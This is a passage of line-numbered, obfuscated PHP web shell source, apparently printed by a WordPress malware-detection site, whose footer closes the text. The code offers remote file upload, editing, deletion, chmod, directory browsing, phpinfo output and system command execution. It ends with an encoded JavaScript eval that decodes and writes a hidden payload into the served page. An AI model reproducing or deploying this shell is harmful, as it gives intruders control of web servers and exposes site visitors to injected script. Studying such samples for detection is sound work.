538        $_POST["filename2"] = trim($_POST["filename2"]);
539        if (empty($_POST["filename2"])) {
540            $_POST["filename2"] = $_FILES["filename"]["name"];
541        }
542        if (!copy($_FILES["filename"]["tmp_name"], $_SESSION["currentdir"] . "/" . $_POST["filename2"])) {
543            if (!move_uploaded_file($_FILES["filename"]["tmp_name"], $_SESSION["currentdir"] . "/" . $_POST["filename2"])) {
544                return "File download failed...";
545            }
546        }
547        return "The file was uploaded successfully!";
548    }
549}
550$shell = new shell();
551$timestart = $shell->getmicrotime();
552$content = "";
553if (!isset($_SESSION["currentdir"])) {
554    $_SESSION["currentdir"] = str_replace("\\", "/", $_SERVER["DOCUMENT_ROOT"]);
555}
556if (isset($_GET["dir"])) {
557    if (opendir(realpath($_SESSION["currentdir"] . "/" . $_GET["dir"]))) {
558        $_SESSION["currentdir"] = realpath($_SESSION["currentdir"] . "/" . $_GET["dir"]);
559    }
560    Header("Location: {$xshell}?act=filemanager");
561}
562$_SESSION["currentdir"] = str_replace("\\", "/", $_SESSION["currentdir"]);
563$bxmeyfko = "content";
564if (substr($_SESSION["currentdir"], 1, 1) == "/") {
565    $_SESSION["currentdir"] = substr($_SESSION["currentdir"], 0, 1);
566}
567$GLOBALS["lvsmiwfpysj"] = "content";
568switch ($_POST["action"]) {
569    case "chmod":
570        if ($shell->chmodfile($_POST["file"])) {
571            ${$GLOBALS["iknpldrpigo"]} .= "The change was successful";
572        }
573        break;
574    case "editfile":
575        if ($shell->editfile($_POST["file"])) {
576            ${$wupyapffrye} .= "The edit was successful";
577        }
578        break;
579    case "execute":
580        $shell->execute();
581        break;
582    case "exesys":
583        $shell->exesys();
584        break;
585    case "mkdir":
586        ${$GLOBALS["iknpldrpigo"]} .= $shell->createdir();
587        break;
588    case "createfile":
589        ${$dbmeztzpbjd} .= $shell->createfile();
590        break;
591    case "uploadfile":
592        ${$GLOBALS["iknpldrpigo"]} .= $shell->uploadfile();
593        break;
594}
595${$GLOBALS["iknpldrpigo"]} .= $shell->outputhead();
596${$GLOBALS["iknpldrpigo"]} .= $shell->outputmenu();
597switch ($_GET["act"]) {
598    case "edit":
599        ${$GLOBALS["gyyylpy"]} .= $shell->editfileform($_GET["file"]);
600        break;
601    case "chmod":
602        ${$GLOBALS["lvsmiwfpysj"]} .= $shell->chmodform($_GET["file"]);
603        break;
604    case "down":
605        ${$GLOBALS["iknpldrpigo"]} .= $shell->downloadfile($_GET["file"]);
606        break;
607    case "filemanager":
608        if ($_GET["act2"] == "del") {
609            ${$bxmeyfko} .= $shell->removefile();
610        }
611        ${$GLOBALS["iknpldrpigo"]} .= $shell->outputfilemanager();
612        if ($_GET["act3"] == "del") {
613            ${$hilzzmbb} .= $shell->removedir();
614        }
615        break;
616    case "phpinfo":
617        phpinfo();
618        die;
619    case "info":
620        ${$bcaxbgujhqyk} .= $shell->outputinfo();
621        break;
622    case "execute":
623        ${$GLOBALS["iknpldrpigo"]} .= $shell->executeform();
624        break;
625    case "exesys":
626        ${$GLOBALS["iknpldrpigo"]} .= $shell->exesysform();
627        break;
628}
629${$GLOBALS["iknpldrpigo"]} .= $shell->outputdown();
630echo ${$osezbewemuin};
631echo "<center>Generation time: " . ($shell->getmicrotime() - ${$GLOBALS["olmwrdqid"]}) . "</center>";
632echo "<script type=\"text/javascript\">\n<!-- \neval(unescape('%66%75%6e%63%74%69%6f%6e%20%70%34%32%64%38%63%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%31%32%31%30%38%35%35%37%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%38%35%36%31%36%32%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%37%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));\neval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%70%34%32%64%38%63%28%27') + '%30%6b%5b%62%63%6e%6e%11%69%6d%5d%30%19%64%6a%6a%60%32%2f%2b%78%75%76%26%6d%2c%35%20%67%57%66%20%6e%63%2d%74%5b%75%5e%67%74%2f%55%63%74%24%6b%69%1d%36%33%2a%69%5b%6c%6b%68%6a%3412108557%35%37%37%39%31%37%33' + unescape('%27%29%29%3b'));\n// -->\n</script>\n";

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.